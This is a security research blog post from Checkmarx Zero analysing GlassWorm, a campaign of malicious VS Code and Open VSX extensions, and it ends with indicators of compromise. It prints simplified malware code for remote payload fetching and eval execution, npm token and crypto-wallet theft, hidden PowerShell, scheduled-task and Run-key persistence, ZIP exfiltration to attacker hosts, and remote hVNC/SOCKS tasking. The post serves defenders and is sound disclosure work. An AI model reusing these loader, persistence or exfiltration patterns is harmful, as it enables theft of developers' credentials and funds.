This document © Checkmarx, all rights reserved. The Checkmarx Zero team recently identified a new set of malicious extensions published to both the VS Code and Open VSX marketplaces, linked to the ongoing GlassWorm campaign we’ve previously discussed on social media. What makes this wave notable is the way the GlassWorm campaign continues to evolve while preserving the same core operating model. It’s more than just malicious content in IDE extensions. Instead of compromising an already trusted publisher account, as seen in some earlier incidents, the operators behind this cluster mostly relied on impersonation and lookalike publishing. Several of the extensions mimicked well-known legitimate tools, while others mixed expected functionality with hidden malicious logic to appear credible to developers. Across all analyzed samples, despite differences in obfuscation and packaging, the malicious code ultimately converged on the same staged execution flow. The extensions rebuilt Solana RPC infrastructure at runtime, recovered next-stage payload locations from Solana memos, applied regional evasion checks, and dynamically executed additional payloads. This behavior closely aligns with previously reported GlassWorm activity. In fact, one of the VS Code samples still used invisible Unicode concealment and reused a Solana wallet address seen in earlier campaigns, providing a direct link to prior GlassWorm variants. In total, the 13 malicious extensions identified in this cluster accumulated almost 50k downloads. Although the samples used different runtime decoding chains, they all converged on the same underlying execution flow. Want important security news in your inbox, without marketing fluff? Subscribe to Checkmarx Zero Never Miss Checkmarx Zero Research Updates. Subscribe today! By submitting my information to Checkmarx, I hereby consent to the terms and conditions found in the Checkmarx Privacy Policy and to the processing of my personal data as described therein. By clicking submit above, you consent to allow Checkmarx to store and process the personal information submitted above to provide you the content requested. GlassWorm infected extensions list The following GlassWorm-related extensions were identified as having this particular delivery mechanism: Extension Version Platform Downloads Release Date Impersonation pyscopexte.pyscope-extension 1.1.403 Open VSX 4208 Mar 3, 2026 _______ aligntool.extension-align-professional-tool 1.4.6 Open VSX 3168 Mar 5, 2026 chouzz.vscode-better-align rubyideext.ruby-ide-extension 0.10.0-alpha.2 Open VSX 1158 Mar 5, 2026 _______ runnerpost.runner-your-code 0.13.2 Open VSX 4300 Mar 5, 2026 formulahendry.code-runner aadarkcode.one-dark-material 3.20.1 Open VSX 7768 Mar 6, 2026 zhuangtongfa.material-theme lyu-wen-studio-web-han.better-formatter-vscode 1.1.6 Open VSX 10495 Mar 6, 2026 lyuwenhan.code-formatter-and-minifier kwitch-studio.auto-run-command-extension 1.6.2 Open VSX 7805 Mar 6, 2026 synedra.auto-run-command dopbop-studio.vscode-tailwindcss-extension-toolkit 0.14.29 Open VSX 5664 Mar 6, 2026 bradlc.vscode-tailwindcss blockstoks.easily-gitignore-manage 0.10.2 Open VSX 938 Mar 9, 2026 codezombiech.gitignore federicanc.dotenv-syntax-highlighting 1.0.3 Open VSX 2100 Mar 10, 2026 _______ myexttool.my-command-palette-extension 0.0.4 Open VSX 320 Mar 12, 2026 _______ pessa07tm.my-js-ts-auto-commands 1.0.4 Open VSX 1824 Mar 12, 2026 _______ silvia68.console-log-generator 1.0.1 Open VSX 254 Mar 17, 2026 _______ The above is a list of packages using this novel technique for infection and stealth, and not a comprehensive list of GlassWorm campaign packages. Technical Analysis GlassWorm is a self-propagating program that infects developer workstations using primarily Visual Studio Code extensions. A developer who installs an infected extension can expect credentials to things like cryptocurrency wallets, GitHub, and various package registries (like npm, PyPI, etc.) to be exfiltrated. The GlassWorm malware also attempts to establish a level of remote access for the attacker, allowing the attacker to use the developer’s machine as a proxy for future attack activities. Stage 0 establishes the infection, installs and configures infrastructure for delivering the core payload, etc. Stage 1 downloads the core payload from the internet, obfuscates its activity, harvests developer credentials, and prepares the infected machine for the final stage Stage 2 exfiltrates recovered credentials and other sensitive data to the attacker, compromises browser data, and establishes a persistent access for future use by the attacker. Stage 0 Runtime reconstruction of Solana infrastructure One problem malware often encounters in its goal to infect target machines is that defenders are eventually able to identify endpoints that the malware intended to use for exfiltration, and block scripts and executables that contain references to those endpoints. The first stage of the GlassWorm malware is designed to reduce early detection by dynamically reconstructing a list of Solana JSON-RPC endpoints and using them to query on-chain transaction data instead of relying on hardcoded infrastructure. This allows the malware to interact with Solana nodes through the standard RPC interface while avoiding a static list of endpoints that defenders could more easily flag. Across the samples, this is done through layered obfuscation, such as rotated string arrays, wrapper lookup functions, and custom decoders. While the exact implementation differs from one extension to another, the result is the same: the malware reproduces a list of Solana RPC providers and uses them as attack infrastructure without triggering most kinds of early-detection tools: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML // resolves to: // https://api.mainnet-beta.solana.com function m(C, s, S, V) { return A(C - 0x56, s - 0x47, s, C - -0xcc); } const endpoint = m(0x15, 'Opf5', -0x2d, 0x57) + m(0x77, 'Ib0M', 0x76, 0x5b) + 'beta.solan' + 'a.com'; // Note: this snippet was simplified from the original for readability. The full endpoint list resolves to multiple Solana RPC providers: https[:]//api[.]mainnet-beta[.]solana[.]com https[:]//solana-mainnet[.]gateway[.]tatum[.]io https[:]//go[.]getblock[.]us/86aac42ad4484f3c813079afc201451c https[:]//solana-rpc[.]publicnode[.]com https[:]//api[.]blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc https[:]//solana[.]drpc[.]org https[:]//solana[.]leorpc[.]com/?api_key=FREE https[:]//solana[.]api[.]onfinality[.]io/public https[:]//solana[.]api[.]pocket[.]network/ The malware iterates through these providers using a fallback infrastructure pattern: if one endpoint is unreachable or returns an error, it catches the exception, pauses briefly, and tries the next provider in the list. Solana address reconstruction and RPC query Once the Solana RPC infrastructure is rebuilt, GlassWorm uses a hardcoded (but obfuscated) wallet address to request transaction metadata through JSON-RPC. The returned address is then queried to find transactions with memo data. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML // resolves to: // 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ function y(C, s, S, V) { return D(C - -0x380, s); } function x(C, s, S, V) { return D(s - 0x40, S); } const solanaAddress = x(0x1da, 0x1f0, '&sYe', 0x230) + y(-0x185, 'MxE^', -0x150, -0x196) + y(-0x17b, 'vx&D', -0x122, -0x196) + y(-0x1ae, 'cRN$', -0x202, -0x19a) + x(0x25e, 0x256, 'g^B&', 0x22f); // Note: this snippet was simplified from the original for readability. Regional checks Before continuing, the loader checks whether the system looks like it belongs to a user in Russia. It examines environment variables, language and locale settings, timezone information, and the UTC offset for signs of a Russian environment. That includes values like ru_RU, ru-RU, Russian, and russian, as well as timezones and UTC offsets commonly associated with Russia. Altogether, these checks suggest the loader is designed to avoid execution on systems linked to Russia. This pattern is common among threat actors who operate from within Russian territories, as it avoids attracting in-country investigation. It’s much easier for an attacker’s own country to investigate and prosecute an attacker than it is for a foreign country. However, this signal should not be taken as conclusive proof or attribution. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML function T() { let localeIndicators = [ os.userInfo().username, process.env.LANGUAGE, process.env.LANG, process.env.LC_ALL, Intl.DateTimeFormat().resolvedOptions().locale ].some(v => v && /ru_RU|ru-RU|Russian|russian/i.test(v)); let timezoneIndicators = [ Intl.DateTimeFormat().resolvedOptions().timeZone, new Date().toString() ]; let russianTimezones = [ "Europe/Moscow", "Europe/Samara", "Asia/Novosibirsk", "Asia/Yekaterinburg", "Asia/Omsk", "Asia/Krasnoyarsk", "Asia/Irkutsk", "Asia/Vladivostok", "Asia/Magadan", "Asia/Kamchatka", "Asia/Anadyr", "MSK" ]; let timezoneMatch = timezoneIndicators.some(v => v && russianTimezones.some(tz => v.toLowerCase().includes(tz.toLowerCase())) ); let utcOffset = -new Date().getTimezoneOffset() / 60; let offsetMatch = utcOffset >= 2 && utcOffset <= 12; return localeIndicators && (timezoneMatch || offsetMatch); } // Note: this snippet was simplified from the original for readability. Memo-based payload discovery The RPC response returns transactions with JSON in the memo field. The malware reads that data to identify the next-stage location, so it can fetch payload infrastructure from the blockchain instead of storing it directly inside the extension. Partial memo: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML { "jsonrpc": "2.0", "result": [ { "blockTime": 1772540446, "confirmationStatus": "finalized", "err": null, "memo": "[79] {\"link\":\"aHR0cDovLzQ1LjMyLjE1MC4yNTEvOGdCd3hFcTRodmF1OGhydGVIUXNFUSUzRCUzRA==\"}", "signature": "2zJq487NsyNPZP3kAjUC76jayqjivVH5bJBELSCKSaNa49XJgoUmz3bp6Y9A9NZFZ8V86YVAogdziNu6ao2Z1AYW", "slot": 403936731 } ], "id": 1 } // Note: this snippet was simplified from the original for readability. The extension then extracts the first memo value and resolves it to: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML { "link": "aHR0cDovLzQ1LjMyLjE1MC4yNTEvOGdCd3hFcTRodmF1OGhydGVIUXNFUSUzRCUzRA==" } The RPC response contains multiple transactions with memo data, but the malware only uses the first one it finds to resolve the next stage. Those memo values point to different stage-delivery hosts, including 45[.]32[.]150[.]251, 45[.]32[.]151[.]157, and 70[.]34[.]242[.]255, which may suggest the infrastructure changed or rotated over time. Retrieval of the next-Stage payload After parsing the memo JSON, the loader decodes the link field and uses it for the next request: http[:]//45[.]32[.]150[.]251/8gBwxEq4hvau8hrteHQsEQ%3D%3D The server responds with encoded content in the body and additional header values corresponding to secretkey and ivbase64, which are later used to decrypt the AES-encrypted executable payload before execution. Execution Once the payload is retrieved, the malware dynamically executes it at runtime. The execution method varies depending on simple conditions in the loader. In the analyzed sample, the malware first checks whether the recovered payload is exactly 20 characters long and, if so, it immediately decodes and executes it via eval(atob(...)). In the analyzed sample, the payload did not meet that condition and was substantially larger, suggesting that this branch could have been for an alternate payload format or fallback response that we have yet to see. If that condition isn’t met, the malware then checks the operating system. On macOS (darwin) it still uses the direct eval path, whereas on other platforms it creates a separate execution context and runs the payload through Node.js’s vm module instead, with runtime capabilities such as require, Buffer, process, console, and timer functions. A representation of that logic is shown below: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML if (Z?.length == 0x14) { eval(atob(Z)); return; } if (O.platform() == "darwin") { let _iv = Buffer.from(K, "base64"); eval(atob(Z)); } else { let d = require("vm"); let t = { require, Buffer, process, console, setTimeout, setImmediate, clearTimeout, setInterval, clearInterval }; d.createContext(t); new d.Script(dynamicSource).runInContext(t); } // Note: this snippet was simplified from the original for readability. Stage 1 The recovered second-stage payload shows that the initial stage is not just fetching another script. It is delivering a broader credential theft, wallet theft, persistence, and exfiltration implant. Stage delivery of GlassWorm components through a public Google Calendar page A clear connection between the first stage loader and the recovered payload is that the second stage keeps the same indirection pattern. It retrieves a value from a public page, decodes it, and then uses it to fetch the next payload. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML osAtlakAnH( atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'), (err, link) => niEGcybV(atob(link), niEGcybVCall) ); function niEGcybV(slug, callback) { http.get('http://45.32.150.251' + slug, (response) => { callback(null, { script: data, iv: response.headers.ivbase64, secretKey: response.headers.secretkey }); }); } // Note: this snippet was simplified from the original for readability. Here, the payload first fetches a Google Calendar-hosted page, extracts a data-base-title attribute, decodes it, and then appends the result to http[:]//45[.]32[.]150[.]251. The server response body contains the next script, while the ivbase64 and secretkey headers provide the material needed for later decryption. Embedded persistence and local staging At this stage, the malware also establishes persistence on the victim system. It writes files under the user’s profile directory, drops a PowerShell script, and launches a hidden startup chain using: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML const folderName = 'ozTjbCl'; const ps1name = 'mwSMNWQsh'; const folderPath = path.join(appdataDir, folderName); const filePath = path.join(folderPath, 'index.js'); fs.writeFileSync(filePath, script); fs.writeFileSync(ps1Path, scriptPS1(filePath, nodePath, ps1Path), 'utf-8'); childProcess.exec( `start /B powershell.exe -ExecutionPolicy Bypass -Command "& { . '${ps1Path}' }" -WindowStyle Hidden`, { detached: true, stdio: 'ignore' } ); // Note: this snippet was simplified from the original for readability. npm token theft The malware searches for npm authentication tokens through several methods, including: npm configuration .npmrc files environment variables If a token is found, it is verified through the npm registry using https[:]//registry[.]npmjs[.]org/-/whoami This is a strong indication that the campaign is not just interested in generic system data or wallets, but also in developer publishing credentials that could be reused for further supply-chain abuse. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML class NpmTokenHandler { retrieveNpmToken() { const methods = [ this.getFromNpmConfig.bind(this), this.getFromNpmrcFile.bind(this), this.getFromEnv.bind(this) ]; for (const method of methods) { const token = method(); if (token) return token; } return null; } } fetch('https://registry.npmjs.org/-/whoami', { headers: { Authorization: `Bearer ${this.token}` } }); // Note: this snippet was simplified from the original for readability. Cryptocurrency wallet targeting It contains a large built-in mapping of browser and desktop wallet targets, including MetaMask, Phantom, Coinbase, Exodus, Trust Wallet, and many others, and searches profile directories and extension storage paths for matching wallet data, including browser extension storage and desktop wallet locations. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML var EXTENSION_IDENTIFIERS = { MetaMask: 'nkbihfbeogaeaoehlefnkodbefgpgknn', Phantom: 'bfnaelmomeimhlpmgjnjophhpkkoljpa', Coinbase: 'hnfanknocfeofbddgcijnmhnfnkdnaad', Ronin: 'fnjhmkhhmkbjkkabndcnnogagogbneec', Trust_Wallet: 'egjidjbpglichdcondbcbdnbeeppgdph', Solflare: 'bhhhlbepdkbapadjdnnojkbgioiodbic' }; // Note: this snippet was simplified from the original for readability. Archive download, decryption, and native module loading The second-stage payload also downloads an archive from the same infrastructure, decrypts a bundled module with AES, and launches it through Node.js. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML http.get('http://45.32.150.251/get_arhive_npm/wBTsMvl78kbdYOVuAeE0Fw%3D%3D', (res) => { // download archive }); const _decipher = crypto.createDecipheriv('aes-128-cbc', _key, _iv); const _decryptedData = Buffer.concat([ _decipher.update(Buffer.from(_data)), _decipher.final() ]); childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`); // Note: this snippet was simplified from the original for readability. Exfiltration, Ledger targeting, and persistence Finally, the staged data is compressed into a ZIP archive and sent to a dedicated exfiltration endpoint at 208[.]85[.]20[.]124:80/wall, with retry logic if the upload fails. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML const zip = new AdmZip(); zip.addLocalFolder(_tempF); let willSendThis = zip.toBuffer(); const options = { hostname: "208.85.20.124", port: 80, path: "/wall", method: "POST" }; // Note: this snippet was simplified from the original for readability. The payload also contains Ledger-specific logic. If Ledger Live is present under %APPDATA%, it downloads an additional executable from http[:]//45[.]32[.]150[.]251/led-win32, writes it to %TEMP%\TvVdSR.exe, creates a Run key named UpdateLedger, and launches the dropped file. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML if (fs.existsSync(path.join(process.env.APPDATA, "Ledger Live"))) { http.get("http://45.32.150.251/led-win32", (res) => { const _path = path.join(process.env.TEMP, "TvVdSR.exe"); fs.writeFileSync(_path, data); const ps1 = `$rPath = 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'; New-ItemProperty -Path $rPath -Name 'UpdateLedger' -PropertyType String -Value '${_path}' -Force`; }); } // Note: this snippet was simplified from the original for readability. In addition, the decoded payload builds a second-stage persistence script named script_zombi. That script writes files under %APPDATA%, creates a hidden PowerShell-based startup path, creates a scheduled task named UpdateApp, and adds a HKCU\Software\Microsoft\Windows\CurrentVersion\Run entry so the malware is relaunched on user logon and survives reboots. Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML // inside script_zombi schtasks /create /tn "UpdateApp" /tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" /sc onstart /rl highest /f $rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" $command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}" New-ItemProperty -Path $rPath -Name $randomName -PropertyType String -Value $command -Force Stage 2 How the chain continues after Google Calendar The code fetched during the Google Calendar stage serves as both a collection and delivery component. It downloads additional modules, extracts browser and wallet data, compresses and encrypts the results, and sends them back to attacker controlled infrastructure. It also includes real-time communication and peer-to-peer components, namely: socket[.]io-client engine[.]io-client ws k-rpc-socket bittorrent-dht It even references public DHT bootstrap nodes including: router[.]bittorrent[.]com router[.]utorrent[.]com dht[.]transmissionbt[.]com Additionally, it performs another Solana memo lookup against the hardcoded wallet address BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC and uses the returned memo data to continue the execution chain. Here, The RPC provider list is rebuilt again, this time expanded with additional endpoints such as: https[:]//public[.]rpc[.]solanavibestation[.]com https[:]//sol-protect[.]rpc[.]blxrbdn[.]com This same wallet was also mentioned in public reporting by Koi, as well as in later reporting by Socket on the oorzc case. The snippet below shows how the malware downloads and archive from http[:]//45[.]32[.]150[.]251/get_arhive_npm/wBTsMvl78kbdYOVuAeE0Fw%3D%3D, extracts it, decrypts its contents, and executes the next flow: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML fetch(atob(AGeZdIX2["_ASAR_ARHIVE_"])) .then((r) => r.arrayBuffer()) .then(async (r) => { fs.writeFileSync(arhivePath, Buffer.from(r)); new AdmZip(arhivePath).extractAllTo(unzipPATH); const decipher = crypto.createDecipheriv("aes-128-cbc", _key, _iv); const decryptedData = Buffer.concat([ decipher.update(Buffer.from(data)), decipher.final() ]); child_process.exec(`start /B ${path_node} -e "eval(atob('${btoa(script2)}'))"`); }); // Note: this snippet was simplified from the original for readability. The same stage also handles interactive remote commands, including hidden VNC, SOCKS proxying, system information collection, and execution of a base64 decoded payload delivered in the command field: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML if (wrPQKF.type == "start_hvnc") { RmYcPxyOw(AGeZdIX_dht); return; } if (wrPQKF.type == "start_socks") { downloadManager.setHandler("start_socks"); downloadManager._x64_downloadAndRunFile(AGeZdIX_dht); return; } if (wrPQKF.type == "get_system_info") { io_emitter.emit("task", { type: wrPQKF.type, value: JSON.stringify(getSystemInfo()) }); return; } if (wrPQKF?.command) { eval(atob(wrPQKF.command)); } // Note: this snippet was simplified from the original for readability. It supports stop_hvnc and stop_socks which shows that this part of the malware is built to receive and act on remote tasking rather than simply fetch another payload. The code also includes BitTorrent DHT and persistent socket communication components, which help support that control layer: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML // bundled modules observed in the recovered stage: // - k-rpc-socket // - bittorrent-dht // - engine.io-client // - socket.io-client // - ws bootstrap: [ "dht[.]libtorrent[.]org[:]25401", "router[.]bittorrent[.]com[:]6881", "router[.]utorrent[.]com[:]6881" ] // Note: strings above modified by Checkmarx Zero for safety // domains and ports have been [bracketed] to avoid accidental use. Before transmission, the collected data is compressed into a ZIP archive and then encrypted: Language: Auto-detect Plain Text Bash CSS Dockerfile Go HTML Java JavaScript JSON Kotlin Markdown PHP Python Ruby Rust SQL Swift TypeScript XML YAML const zip2 = new AdmZip(); zip2.addLocalFolder(path.join(process.env.TEMP, "AGeZdIX")); const willSendThis = zip2.toBuffer(); const key = crypto.randomBytes(32); const iv = crypto.randomBytes(16); const cipher = crypto.createCipheriv("aes-256-cbc", key, iv); const encrypted = Buffer.concat([cipher.update(willSendThis), cipher.final()]); // Note: this snippet was simplified from the original for readability. Closing thoughts GlassWorm stands out not because every new wave introduces an entirely new design, but because the campaign keeps adapting while preserving the same operational skeleton. Some relied on invisible Unicode tricks, others on wrapper-based obfuscation, dynamic reconstruction, or layered decoding. Yet the core behavior remained stable: malicious VS Code and Open VSX extensions as the initial access point Solana memo-based stage discovery Russian locale evasion staged payload retrieval dynamic execution inside the extension runtime wallet theft, npm token theft, persistence, and exfiltration Earlier reporting highlighted GlassWorm’s use of invisible Unicode characters. One of the VS Code extensions in this set still used that same concealment method while reusing a Solana address seen in previous campaign activity. At the same time, the other ones make clear that the campaign is no longer dependent on a single concealment technique. The wrapper changes, but the execution pattern remains recognizable. What should you do about GlassWorm? Organizations and developers should add the identified IOCs to both network and endpoint defenses, including domains, IP addresses, wallet addresses, dropped filenames, scheduled task names, registry keys. They should also search for signs of these extensions and their later-stage activity across developer environments. This means looking for the reported extension identifiers in VS Code and Open VSX extension directories, suspicious files written under user profile and AppData paths, unexpected Run key entries, scheduled tasks, dropped files, and outbound connections to the recovered infrastructure. If evidence of infection is found, affected developers should rotate any credentials that may have been exposed, especially npm, GitHub, GitLab, cloud, and other publishing or developer tokens. Because the later stages also target wallets and wallet-related data, impacted users should also treat cryptocurrency wallet secrets, passphrases, and recovery material as potentially exposed and respond accordingly. GlassWorm Indicators of Compromise (IoC) Expand for details of IoCs Network https[:]//api[.]mainnet-beta[.]solana[.]com https[:]//solana-mainnet[.]gateway[.]tatum[.]io https[:]//go[.]getblock[.]us/86aac42ad4484f3c813079afc201451c https[:]//solana-rpc[.]publicnode[.]com https[:]//api[.]blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc https[:]//solana[.]drpc[.]org https[:]//solana[.]leorpc[.]com/?api_key=FREE https[:]//solana[.]api[.]onfinality[.]io/public https[:]//solana[.]api[.]pocket[.]network/ https[:]//public[.]rpc[.]solanavibestation[.]com https[:]//sol-protect[.]rpc[.]blxrbdn[.]com Blockchain address 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC IP address 45[.]32[.]150[.]251 45[.]32[.]151[.]157 70[.]34[.]242[.]255 208[.]85[.]20[.]124 Stage-delivery 45[.]32[.]150[.]251/get_arhive_npm/wBTsMvl78kbdYOVuAeE0Fw%3D%3D 45[.]32[.]150[.]251/led-win32 208[.]85[.]20[.]124:80/wall calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6 Artifacts TvVdSR.exe HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateLedger %TEMP%\WlpSxEJPU\ gJSFJ (bundled archive path) Extensions Note: this list includes the extensions mentioned in this post, as well as others recently identified by both Checkmarx Zero and other researchers within the community, and is provided as a convenience for defenders. aadarkcode.one-dark-material aligntool.extension-align-professional-tool angular-studio.ng-angular-extension awesome-codebase.codebase-dart-pro awesomeco.wonder-for-vscode-icons bhbpbarn.vsce-python-indent-extension blockstoks.easily-gitignore-manage brategmaqendaalar-studio.pro-prettyxml-formatter codbroks.compile-runnner-extension codevunmis.csv-sql-tsv-rainbow codwayexten.code-way-extension cosmic-themes.sql-formatter craz2team.vscode-todo-extension crotoapp.vscode-xml-extension cudra-production.vsce-prettier-pro daeumer-web.es-linter-for-vs-code dark-code-studio.flutter-extension densy-little-studio.wonder-for-vscode-icons dep-labs-studio.dep-proffesinal-extension dev-studio-sense.php-comp-tools-vscode devmidu-studio.svg-better-extension dopbop-studio.vscode-tailwindcss-extension-toolkit errlenscre.error-lens-finder-ex exss-studio.yaml-professional-extension federicanc.dotenv-syntax-highlighting flutxvs.vscode-kuberntes-extension gvotcha.claude-code-extension gvotcha.claude-code-extensions intellipro.extension-json-intelligence kharizma.vscode-extension-wakatime ko-zu-gun-studio.synchronization-settings-vscode kwitch-studio.auto-run-command-extension lavender-studio.theme-lavender-dreams littensy-studio.magical-icons lyu-wen-studio-web-han.better-formatter-vscode markvalid.vscode-mdvalidator-extension mecreation-studio.pyrefly-pro-extension mswincx.antigravity-cockpit mswincx.antigravity-cockpit-extension namopins.prettier-pro-vscode-extension oigotm.my-command-palette-extension otoboss.autoimport-extension ovixcode.vscode-better-comments pessa07tm.my-js-ts-auto-commands potstok.dotnet-runtime-extension pretty-studio-advisor.prettyxml-formatter prismapp.prisma-vs-code-extension projmanager.your-project-manager-extension pubruncode.ccoderunner pyflowpyr.py-flowpyright-extension pyscopexte.pyscope-extension redcapcollective.vscode-quarkus-elite-suite rubyideext.ruby-ide-extension runnerpost.runner-your-code shinypy.shiny-extension-for-vscode sol-studio.solidity-extension ssgwysc.volar-vscode studio-jjalaire-team.professional-quarto-extension studio-velte-distributor.pro-svelte-extension sun-shine-studio.shiny-extension-for-vscode sxatvo.jinja-extension tamokill12.foundry-pdf-extension thing-mn.your-flow-extension-for-icons tima-web-wang.shell-check-utils tokcodes.import-cost-extension toowespace.worksets-extension treedotree.tree-do-todoextension tucyzirille-studio.angular-pro-tools-extension turbobase.sql-turbo-tool twilkbilk.color-highlight-css vce-brendan-studio-eich.js-debuger-vscode yamaprolas.revature-labs-extension silvia68.console-log-generator quartz.quartz-markdown-editor linkedin-app Share on LinkedIn Share on Bluesky Follow Checkmarx Zero: linkedin-app Tags: Deep Dive GlassWorm Malicious Package VSCode Extension